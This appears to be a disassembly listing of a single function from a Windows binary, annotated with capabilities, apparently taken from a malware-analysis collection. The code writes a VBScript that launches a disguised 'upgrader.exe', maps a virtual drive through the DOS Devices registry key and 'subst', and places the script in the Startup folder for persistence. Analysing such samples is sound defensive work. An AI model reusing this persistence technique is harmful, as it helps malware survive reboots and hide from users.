Function at 0x140010d58
Capabilities:
Check if file exists
Copy file
Move file
Set registry value

Disassembly:
sub rsp, 0x578
mov qword [rsp + 0x480], 0xfffffffffffffffe
lea rdx, str.C:WindowsTemp5d02eb234fb7020285b02c67f7b9a6d5.rhh
lea rcx, [rsp + 0x30]
call fcn.140012aac
nop
lea rdx, str.set_wsWScript.CreateObject__WScript.Shell___nws.Run___HomePath_AppDataLocalTempupgrader.exe__0
lea rcx, [rsp + 0x240]
call fcn.140012aac
nop
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 2
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x130]
call fcn.140012b64
nop
lea rdx, [rsp + 0x240]
lea rcx, [rsp + 0x130]
call fcn.140019dc0
lea rcx, [rsp + 0x130]
call fcn.140012d00
lea rdx, [0x140051094]
lea rcx, [rsp + 0xd8]
call fcn.140012aac
nop
lea rdx, str.Otleotaueoehiitniaw_Tools_Upgrader.rhh
lea rcx, [rsp + 0x268]
call fcn.140012aac
nop
lea rcx, str.APPDATA
call fcn.140030f28
mov rdx, rax
lea rcx, [rsp + 0x100]
call fcn.140012aac
nop
lea r8, str.MicrosoftWindowsStart_MenuPrograms
lea rdx, [rsp + 0x100]
lea rcx, [rsp + 0xa8]
call fcn.14001a398
nop
lea r8, [rsp + 0x268]
lea rdx, [rsp + 0xd8]
lea rcx, [rsp + 0x298]
call fcn.14001a44c
mov qword [rsp + 0x488], rax
mov rax, qword [rsp + 0x488]
mov qword [rsp + 0x490], rax
mov rcx, qword [rsp + 0x490]
call fcn.1400030c4
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
mov dword [rsp + 0x290], eax
lea rcx, [rsp + 0x298]
call fcn.140003054
cmp dword [rsp + 0x290], 0
je 0x140010f0b
lea rcx, [rsp + 0xa8]
call fcn.140003054
nop
lea rcx, [rsp + 0x100]
call fcn.140003054
nop
lea rcx, [rsp + 0x268]
call fcn.140003054
nop
lea rcx, [rsp + 0xd8]
call fcn.140003054
nop
lea rcx, [rsp + 0x130]
call fcn.140011464
nop
lea rcx, [rsp + 0x240]
call fcn.140003054
nop
lea rcx, [rsp + 0x30]
call fcn.140003054
jmp 0x14001145a
lea r8, [0x140051608]
lea rdx, [rsp + 0xa8]
lea rcx, [rsp + 0x2c8]
call fcn.14001a398
mov qword [rsp + 0x498], rax
mov rax, qword [rsp + 0x498]
mov qword [rsp + 0x4a0], rax
lea r8, [rsp + 0x268]
mov rdx, qword [rsp + 0x4a0]
lea rcx, [rsp + 0x2f0]
call fcn.14001a500
mov qword [rsp + 0x4a8], rax
mov rax, qword [rsp + 0x4a8]
mov qword [rsp + 0x4b0], rax
mov rcx, qword [rsp + 0x4b0]
call fcn.1400030c4
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
mov dword [rsp + 0x2c0], eax
lea rcx, [rsp + 0x2f0]
call fcn.140003054
nop
lea rcx, [rsp + 0x2c8]
call fcn.140003054
cmp dword [rsp + 0x2c0], 0
je 0x140011019
lea rcx, [rsp + 0xa8]
call fcn.140003054
nop
lea rcx, [rsp + 0x100]
call fcn.140003054
nop
lea rcx, [rsp + 0x268]
call fcn.140003054
nop
lea rcx, [rsp + 0xd8]
call fcn.140003054
nop
lea rcx, [rsp + 0x130]
call fcn.140011464
nop
lea rcx, [rsp + 0x240]
call fcn.140003054
nop
lea rcx, [rsp + 0x30]
call fcn.140003054
jmp 0x14001145a
lea rdx, [0x1400518d0]
lea rcx, [rsp + 0x80]
call fcn.140012aac
nop
lea rdx, [rsp + 0xa8]
lea rcx, [rsp + 0x80]
call fcn.140012b10
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, str.SYSTEMCurrentControlSetControlSession_ManagerDOS_Devices
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea rcx, [rsp + 0x80]
call fcn.1400030dc
lea rax, [rax + rax + 2]
mov qword [rsp + 0x4b8], rax
lea rcx, [rsp + 0x80]
call fcn.1400030c4
mov qword [rsp + 0x4c0], rax
lea rcx, [rsp + 0xd8]
call fcn.1400030c4
mov rcx, qword [rsp + 0x4b8]
mov dword [rsp + 0x28], ecx
mov rcx, qword [rsp + 0x4c0]
mov qword [rsp + 0x20], rcx
mov r9d, 1
xor r8d, r8d
mov rdx, rax
mov rcx, qword [rsp + 0xd0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0xd0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea r8, [rsp + 0xd8]
lea rdx, str.subst
lea rcx, [rsp + 0x318]
call fcn.140019c90
mov qword [rsp + 0x4c8], rax
mov rax, qword [rsp + 0x4c8]
mov qword [rsp + 0x4d0], rax
lea r8, [0x140051828]
mov rdx, qword [rsp + 0x4d0]
lea rcx, [rsp + 0x340]
call fcn.140019d44
mov qword [rsp + 0x4d8], rax
mov rax, qword [rsp + 0x4d8]
mov qword [rsp + 0x4e0], rax
lea r8, [rsp + 0xa8]
mov rdx, qword [rsp + 0x4e0]
lea rcx, [rsp + 0x368]
call fcn.14001a500
mov qword [rsp + 0x4e8], rax
mov rax, qword [rsp + 0x4e8]
mov qword [rsp + 0x4f0], rax
lea r8, [0x140051014]
mov rdx, qword [rsp + 0x4f0]
lea rcx, [rsp + 0x58]
call fcn.140019d44
nop
lea rcx, [rsp + 0x368]
call fcn.140003054
nop
lea rcx, [rsp + 0x340]
call fcn.140003054
nop
lea rcx, [rsp + 0x318]
call fcn.140003054
lea rcx, [rsp + 0x58]
call fcn.1400030c4
mov rcx, rax
call fcn.140030d64
lea r8, [0x140051044]
lea rdx, [rsp + 0xa8]
lea rcx, [rsp + 0x390]
call fcn.14001a398
mov qword [rsp + 0x4f8], rax
mov rax, qword [rsp + 0x4f8]
mov qword [rsp + 0x500], rax
lea r8, [rsp + 0x268]
mov rdx, qword [rsp + 0x500]
lea rcx, [rsp + 0x3b8]
call fcn.14001a500
mov qword [rsp + 0x508], rax
mov rax, qword [rsp + 0x508]
mov qword [rsp + 0x510], rax
mov rcx, qword [rsp + 0x510]
call fcn.1400030c4
mov qword [rsp + 0x518], rax
lea rcx, [rsp + 0x30]
call fcn.1400030c4
xor r8d, r8d
mov rcx, qword [rsp + 0x518]
mov rdx, rcx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CopyFileW]
nop
lea rcx, [rsp + 0x3b8]
call fcn.140003054
nop
lea rcx, [rsp + 0x390]
call fcn.140003054
lea r8, str.Startup_
lea rdx, [rsp + 0xd8]
lea rcx, [rsp + 0x3e0]
call fcn.14001a398
mov qword [rsp + 0x520], rax
mov rax, qword [rsp + 0x520]
mov qword [rsp + 0x528], rax
lea r8, [rsp + 0x268]
mov rdx, qword [rsp + 0x528]
lea rcx, [rsp + 0x408]
call fcn.14001a500
mov qword [rsp + 0x530], rax
mov rax, qword [rsp + 0x530]
mov qword [rsp + 0x538], rax
mov rcx, qword [rsp + 0x538]
call fcn.1400030c4
mov qword [rsp + 0x540], rax
lea r8, [0x140051074]
lea rdx, [rsp + 0xd8]
lea rcx, [rsp + 0x430]
call fcn.14001a398
mov qword [rsp + 0x548], rax
mov rax, qword [rsp + 0x548]
mov qword [rsp + 0x550], rax
lea r8, [rsp + 0x268]
mov rdx, qword [rsp + 0x550]
lea rcx, [rsp + 0x458]
call fcn.14001a500
mov qword [rsp + 0x558], rax
mov rax, qword [rsp + 0x558]
mov qword [rsp + 0x560], rax
mov rcx, qword [rsp + 0x560]
call fcn.1400030c4
mov r8d, 4
mov rcx, qword [rsp + 0x540]
mov rdx, rcx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_MoveFileExW]
nop
lea rcx, [rsp + 0x458]
call fcn.140003054
nop
lea rcx, [rsp + 0x430]
call fcn.140003054
nop
lea rcx, [rsp + 0x408]
call fcn.140003054
nop
lea rcx, [rsp + 0x3e0]
call fcn.140003054
call fcn.140010bf0
nop
lea rcx, [rsp + 0x58]
call fcn.140003054
nop
lea rcx, [rsp + 0x80]
call fcn.140003054
nop
lea rcx, [rsp + 0xa8]
call fcn.140003054
nop
lea rcx, [rsp + 0x100]
call fcn.140003054
nop
lea rcx, [rsp + 0x268]
call fcn.140003054
nop
lea rcx, [rsp + 0xd8]
call fcn.140003054
nop
lea rcx, [rsp + 0x130]
call fcn.140011464
nop
lea rcx, [rsp + 0x240]
call fcn.140003054
nop
lea rcx, [rsp + 0x30]
call fcn.140003054
add rsp, 0x578
ret